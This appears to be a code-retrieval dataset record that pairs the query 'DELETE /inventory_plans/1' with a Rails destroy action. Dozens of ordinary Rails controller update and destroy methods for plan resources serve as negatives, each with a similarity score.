redirect_to project_test_plans_path(@project), flash: {success: 'Test plan was successfully updated.'} }\n format.json { render :show, status: :ok, location: @test_plan }\n else\n format.html { render :edit }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n if @work_plan.update_attributes(params[:work_plan])\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n #expire_action :index\n #expire_action :show\n end", "def update\n respond_to do |format|\n if @admin_subscription_plan.update(admin_subscription_plan_params)\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_subscription_plan }\n else\n format.html { render :edit }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service_plan = ServicePlan.find(params[:id])\n\n respond_to do |format|\n if @service_plan.update_attributes(params[:service_plan])\n flash[:notice] = 'ServicePlan was successfully updated.'\n format.html { redirect_to(@service_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @pricing_plan = PricingPlan.find(params[:id])\n\n respond_to do |format|\n if @pricing_plan.update_attributes(params[:pricing_plan])\n flash[:notice] = 'PricingPlan was successfully updated.'\n format.html { redirect_to(@pricing_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pricing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n if @plannegocio.update_attributes(params[:plannegocio])\n format.html { redirect_to @plannegocio, notice: 'Plannegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plannegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipo_plan.update(tipo_plan_params)\n format.html { redirect_to @tipo_plan, notice: 'Tipo plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_plan }\n else\n format.html { render :edit }\n format.json { render json: @tipo_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_all_plans\n cb_plans.map do |cb_plan|\n Plan.find_by(plan_id: cb_plan.id).update(plan_params(cb_plan))\n end\n end", "def update\n respond_to do |format|\n if @trip_plan.update(trip_plan_params)\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_plan }\n else\n format.html { render :edit }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @goals = @need.goals\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to back_index_case_url, notice: 'Need was successfully updated.' }\n # format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @finance_plan.update(finance_plan_params)\n format.html { redirect_to @finance_plan, notice: 'Finance plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @finance_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @food_plan.update(food_plan_params)\n format.html { redirect_to @food_plan, notice: 'Food plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_plan }\n else\n format.html { render :edit }\n format.json { render json: @food_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts \"page_plan_params:#{page_plan_params}\"\n respond_to do |format|\n if @page_plan.update(page_plan_params)\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @page_plan }\n else\n format.html { render :edit }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @care_plan.update(care_plan_params)\n render json: @care_plan, status: :ok, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @floor_plan.update(floor_plan_params)\n format.html { redirect_to :back, notice: 'Floor plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n format_amount\n respond_to do |format|\n if @pay_plan.update(pay_plan_params)\n format.html { redirect_to @pay_plan, notice: 'Payment plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @pay_plan }\n else\n format.html { render :edit }\n format.json { render json: @pay_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @operative_plan.update(operative_plan_params)\n format.html { redirect_to @operative_plan, notice: 'Plan operativo actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @operative_plan }\n else\n format.html { render :edit }\n format.json { render json: @operative_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @vendor_test_plan = VendorTestPlan.find(params[:id])\n\n respond_to do |format|\n if @vendor_test_plan.update_attributes(params[:vendor_test_plan])\n flash[:notice] = 'VendorTestPlan was successfully updated.'\n format.html { redirect_to(@vendor_test_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vendor_test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meal_plan.update(meal_plan_params)\n format.html { redirect_to @meal_plan, notice: 'Meal plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @meal_plan }\n else\n format.html { render :edit }\n format.json { render json: @meal_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting_plan.update(meeting_plan_params)\n format.html { redirect_to @meeting_plan, notice: 'Meeting plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_plan }\n else\n format.html { render :edit }\n format.json { render json: @meeting_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_milestone = PlanMilestone.find(params[:id])\n\n respond_to do |format|\n if @plan_milestone.update_attributes(params[:plan_milestone])\n format.html { redirect_to @plan_milestone, notice: 'Plan milestone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_milestone.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_inventory_plan\n @inventory_plan = InventoryPlan.find(params[:id])\n end", "def update\n respond_to do |format|\n if @ad_plan.update(ad_plan_params)\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad_plan }\n else\n format.html { render :edit }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n if @project_procurement_management_plan.update_attributes(params[:project_procurement_management_plan])\n format.html { redirect_to @project_procurement_management_plan, notice: \"#{@project_procurement_management_plan.ppmp_form_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_procurement_management_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n if @plantype_strategy.update_attributes(params[:plantype_strategy])\n format.html { redirect_to @plantype_strategy, notice: 'Plantype strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_de_ventum = PlanDeVentum.find(params[:id])\n\n respond_to do |format|\n if @plan_de_ventum.update_attributes(params[:plan_de_ventum])\n format.html { redirect_to @plan_de_ventum, notice: 'Plan de ventum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_de_ventum.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end", "def update\n respond_to do |format|\n if @media_plan.update(media_plan_params)\n format.html { redirect_to @media_plan, notice: 'Media plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @media_plan }\n else\n format.html { render :edit }\n format.json { render json: @media_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mealplan = Mealplan.find(params[:id])\n respond_to do |format|\n if @mealplan.update(mealplan_params)\n format.html { redirect_to @mealplan, notice: 'Mealplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @mealplan}\n else\n format.html { render :edit }\n format.json { render json: @mealplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n \n add_plan_to_user_if_specified!\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @member.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @floor_plan.update(floor_plan_params)\n format.html { redirect_to @floor_plan, notice: 'Floor plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @floor_plan }\n else\n format.html { render :edit }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_value = PlanValue.find(params[:id])\n\n respond_to do |format|\n if @plan_value.update_attributes(params[:plan_value])\n format.html { redirect_to(@plan_value, :notice => 'Plan value was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan_value.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mealplan.update(mealplan_params)\n format.html { redirect_to @mealplan, notice: 'Mealplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @mealplan }\n else\n format.html { render :edit }\n format.json { render json: @mealplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n if @klassplan.update_attributes(params[:klassplan])\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @backend_planet = Backend::Planet.find(params[:id])\n\n respond_to do |format|\n if @backend_planet.update_attributes(params[:backend_planet])\n format.html { redirect_to @backend_planet, notice: 'Planet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @backend_planet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @payment_plan.update(payment_plan_params)\n redirect_to @payment_plan, notice: 'Payment plan was successfully updated.'\n else\n render :edit\n end\n end\n end", "def update\n respond_to do |format|\n if @floor_plan.update(floor_plan_params)\n format.html { redirect_to location_path(@location), notice: 'Floor plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch_service_plan_modified_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServicePlansApi.patch_service_plan_modified ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ServicePlansApi.patch_service_plan_modified\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling ServicePlansApi.patch_service_plan_modified, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/service_plans/{id}/modified'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'patch_modified_service_plan']) \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicePlansApi#patch_service_plan_modified\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n @payment_plan = PaymentPlans.find(params[:id])\n @payment_plan.save!\n respond_to do |format|\n if @payment_plan.update_attributes(params[:payment_plan])\n flash[:notice] = 'PaymentPlan was successfully updated.'\n format.html { redirect_to(@payment_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @payment_plan.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def update\n respond_to do |format|\n if @plant.update(plant_params)\n format.html { redirect_to @plant, notice: 'Your Swap whas been updated!' }\n format.json { render :show, status: :ok, location: @plant }\n else\n format.html { render :edit }\n format.json { render json: @plant.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @planned_order = PlannedOrder.find(params[:id])\n\n respond_to do |format|\n if @planned_order.update_attributes(params[:planned_order])\n format.html { redirect_to @planned_order, :notice => 'Planned order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @planned_order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @accounting_plan.update(accounting_plan_params)\n format.html { redirect_to accounting_plans_url, notice: \"#{t(:accounting_plan)} #{t(:was_successfully_updated)}\" }\n else\n flash.now[:danger] = \"#{t(:failed_to_update)} #{t(:accounting_plan)}\"\n format.html { render action: 'show' }\n end\n end\n end", "def test_change_plan\n response=@root_key_api.change_plan(\"[email protected]\",\"password\",@account_id, \"Bronze\")\n \n response=@root_key_api.describe_plan(\"[email protected]\",\"password\",@account_id)\n assert_include response, 'type'\n assert_equal 'Bronze', response['type']\n\n response=@root_key_api.change_plan(\"[email protected]\",\"password\",@account_id, \"Free\")\n end", "def update\n respond_to do |format|\n if @capartment.update(capartment_params)\n format.html { redirect_to calc_apartments_path, notice: 'Capartment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capartment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n authorize @plan\n attrs = plan_params\n # rubocop:disable Metrics/BlockLength\n respond_to do |format|\n # TODO: See notes below on the pan_params definition. We should refactor\n # this once the UI pages have been reworked\n # Save the guidance group selections\n guidance_group_ids = if params[:guidance_group_ids].blank?\n []\n else\n params[:guidance_group_ids].map(&:to_i).uniq\n end\n @plan.guidance_groups = GuidanceGroup.where(id: guidance_group_ids)\n @research_domains = ResearchDomain.all.order(:label)\n\n @plan.funder = process_org!(user: current_user, namespace: 'funder')\n @plan.grant = plan_params[:grant]\n attrs.delete(:funder)\n attrs.delete(:grant)\n\n @plan.title = @plan.title.strip\n\n if @plan.update(attrs)\n format.html do\n redirect_to plan_path(@plan),\n notice: success_message(@plan, _('saved'))\n end\n format.json do\n render json: { code: 1, msg: success_message(@plan, _('saved')) }\n end\n else\n format.html do\n # TODO: Should do a `render :show` here instead but show defines too many\n # instance variables in the controller\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: failure_message(@plan, _('save')) }\n end\n end\n rescue StandardError => e\n flash[:alert] = failure_message(@plan, _('save'))\n format.html do\n Rails.logger.error \"Unable to save plan #{@plan&.id} - #{e.message}\"\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: flash[:alert] }\n end\n end\n # rubocop:enable Metrics/AbcSize, Metrics/BlockLength\n end", "def update\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n\n respond_to do |format|\n if @lesson_plan.update_attributes(lesson_plan_params)\n format.html { redirect_to user_lesson_plans_path(current_user),\n notice: 'Lesson plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lesson_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_test_plan_select \n test_plans = TestPlan.where(:product_id => params[:id]).order(:name) unless params[:id].blank?\n\n # Verify user can view this schedule. Must be in his product\n authorize_product!(Product.find(params[:id]))\n \n render :partial => \"test_plans\", :locals => { :test_plans => test_plans }\n end" ]
[ "0.6997916", "0.6967389", "0.6940506", "0.69102645", "0.69102645", "0.67818505", "0.67738014", "0.67738014", "0.67738014", "0.67738014", "0.67738014", "0.6761353", "0.6700652", "0.6686706", "0.6659432", "0.66178185", "0.65859526", "0.6580674", "0.657027", "0.6568275", "0.65586036", "0.6536029", "0.6517542", "0.64723134", "0.64669997", "0.64084715", "0.63995", "0.6397229", "0.6394849", "0.63819516", "0.6373172", "0.63696706", "0.63679", "0.63677764", "0.6346612", "0.6332161", "0.63176054", "0.6309816", "0.6296271", "0.6295595", "0.62941045", "0.6268712", "0.6264858", "0.6262078", "0.6258123", "0.62565196", "0.6216036", "0.621316", "0.6213015", "0.6203423", "0.62010014", "0.6197037", "0.6184694", "0.61781794", "0.61779374", "0.61770904", "0.6172043", "0.6152061", "0.6142885", "0.61428815", "0.61326677", "0.6121933", "0.6114608", "0.60983557", "0.609815", "0.60615695", "0.6059998", "0.60549456", "0.60519785", "0.6050966", "0.6045648", "0.60350746", "0.60337764", "0.602959", "0.6003655", "0.6001214", "0.6000899", "0.59725314", "0.5969264", "0.59662443", "0.5959848", "0.59554124", "0.59412336", "0.59040457", "0.5882676", "0.5882648", "0.5879036", "0.58591986", "0.5857824", "0.5850315", "0.5848422", "0.58375186", "0.5814924", "0.5813384", "0.5807687", "0.5804446", "0.5804223", "0.5790663", "0.5784238", "0.57819086" ]
0.70350343
0
DELETE /inventory_plans/1 DELETE /inventory_plans/1.json
def destroy @inventory_plan.destroy respond_to do |format| format.html { redirect_to inventory_plans_url, notice: 'Inventory plan was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to test_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @incident = Incident.find(@plan.incident_id)\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { head :no_content }\n end\n end", "def destroy\n @billing_plan.destroy\n respond_to do |format|\n format.html { redirect_to billing_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sslplan = Sslplan.find(params[:id])\n @sslplan.destroy\n\n respond_to do |format|\n format.html { redirect_to sslplans_url }\n format.json { head :ok }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @billing_info.destroy\n respond_to do |format|\n format.html { redirect_to select_plan_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @panel_plan = Panel::Plan.find(params[:id])\n @panel_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_plans_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @ecommerceplan = Ecommerceplan.find(params[:id])\n @ecommerceplan.destroy\n\n respond_to do |format|\n format.html { redirect_to ecommerceplans_url }\n format.json { head :ok }\n end\n end", "def destroy\r\n @general_plan = GeneralPlan.find(params[:id])\r\n @general_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to general_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @plan = @current_user.plans.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(:root) }\n format.xml { head :ok }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @billing_plan = BillingPlan.find(params[:id])\n @billing_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(billing_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @callplan.destroy\n respond_to do |format|\n format.html { redirect_to callplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @actual_action_plan.destroy\n respond_to do |format|\n format.html { redirect_to actual_action_plans_url, notice: 'Actual action plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @service_plan = ServicePlan.find(params[:id])\n @service_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n plan_id = @response.plan_id\n @response.destroy\n respond_to do |format|\n format.html { redirect_to details_plan_path(plan_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad_plan.destroy\n respond_to do |format|\n format.html { redirect_to ad_plans_url, notice: 'Ad plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @socialize_plan = SocializePlan.find(params[:id])\n @socialize_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(socialize_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @check_plan.destroy\n respond_to do |format|\n format.html { redirect_to check_plans_url, notice: 'Check plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pay_plan.destroy\n respond_to do |format|\n format.html { redirect_to pay_plans_url, notice: 'Payment plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sales_plan.destroy\n respond_to do |format|\n format.html { redirect_to sales_plans_url, notice: 'Sales plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :delete) do |req|\n req.body = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def destroy\n @vendor_test_plan = VendorTestPlan.find(params[:id])\n @vendor_test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendor_test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @master_plan = MasterPlan.find(params[:id])\n @project = @master_plan.project\n @project.remove_master_plan(@master_plan, current_user)\n\n respond_to do |format|\n format.html { redirect_to client_project_master_plan_path(id: @project.current_master_plan_id, project_id: @project.id, client_id: @project.client_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n if @plan.tasks.exists?\n flash[:error] = \"Cannot delete plan because it has actions attached\"\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n else\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n end", "def destroy\r\n \r\n @account_plan.destroy\r\n respond_to do |format|\r\n format.html { redirect_to account_plans_path, notice: 'El plan ha sido eliminado correctamente!! ' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @page_plan.destroy\n respond_to do |format|\n format.html { redirect_to page_plans_url, notice: 'Page plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @klassplan = Klassplan.find(params[:id])\n @klassplan.destroy\n\n respond_to do |format|\n format.html { redirect_to klassplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @operative_plan.destroy\n respond_to do |format|\n format.html { redirect_to operative_plans_url, notice: 'Plan operativo eliminado exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(planes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @finance_plan.destroy\n respond_to do |format|\n format.html { redirect_to finance_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to profile_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @business_plan.destroy\n respond_to do |format|\n format.html { redirect_to business_plans_url, notice: 'Business plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @single_plan.workout_plans.first\n @single_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article_plan.destroy\n respond_to do |format|\n format.html { redirect_to article_plans_url, notice: 'Article plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @session_plan_category.session_plans.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to session_plan_category_session_plans_path(@session_plan_category), notice: 'Session Plan was successfully removed.'}\n format.json { head :no_content }\n end\n end", "def destroy\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to floor_plans_url, notice: 'Floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n Task.update_next_dates\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @media_plan.destroy\n respond_to do |format|\n format.html { redirect_to media_plans_url, notice: 'Media plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lunchplan = Lunchplan.find(params[:id])\n @lunchplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lunchplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip_plan.destroy\n respond_to do |format|\n format.html { redirect_to trip_plans_url, notice: 'Trip plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meal_plan.destroy\n respond_to do |format|\n format.html { redirect_to meal_plans_url, notice: 'Meal plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @study_plan.destroy\n respond_to do |format|\n format.html { redirect_to study_plans_url, notice: 'Study plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mealplan = Mealplan.find(params[:id])\n @mealplan.destroy\n respond_to do |format|\n format.html { redirect_to mealplans_url, notice: 'Mealplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @payment_plan = PaymentPlans.find(params[:id])\n @payment_plans.destroy\n\n 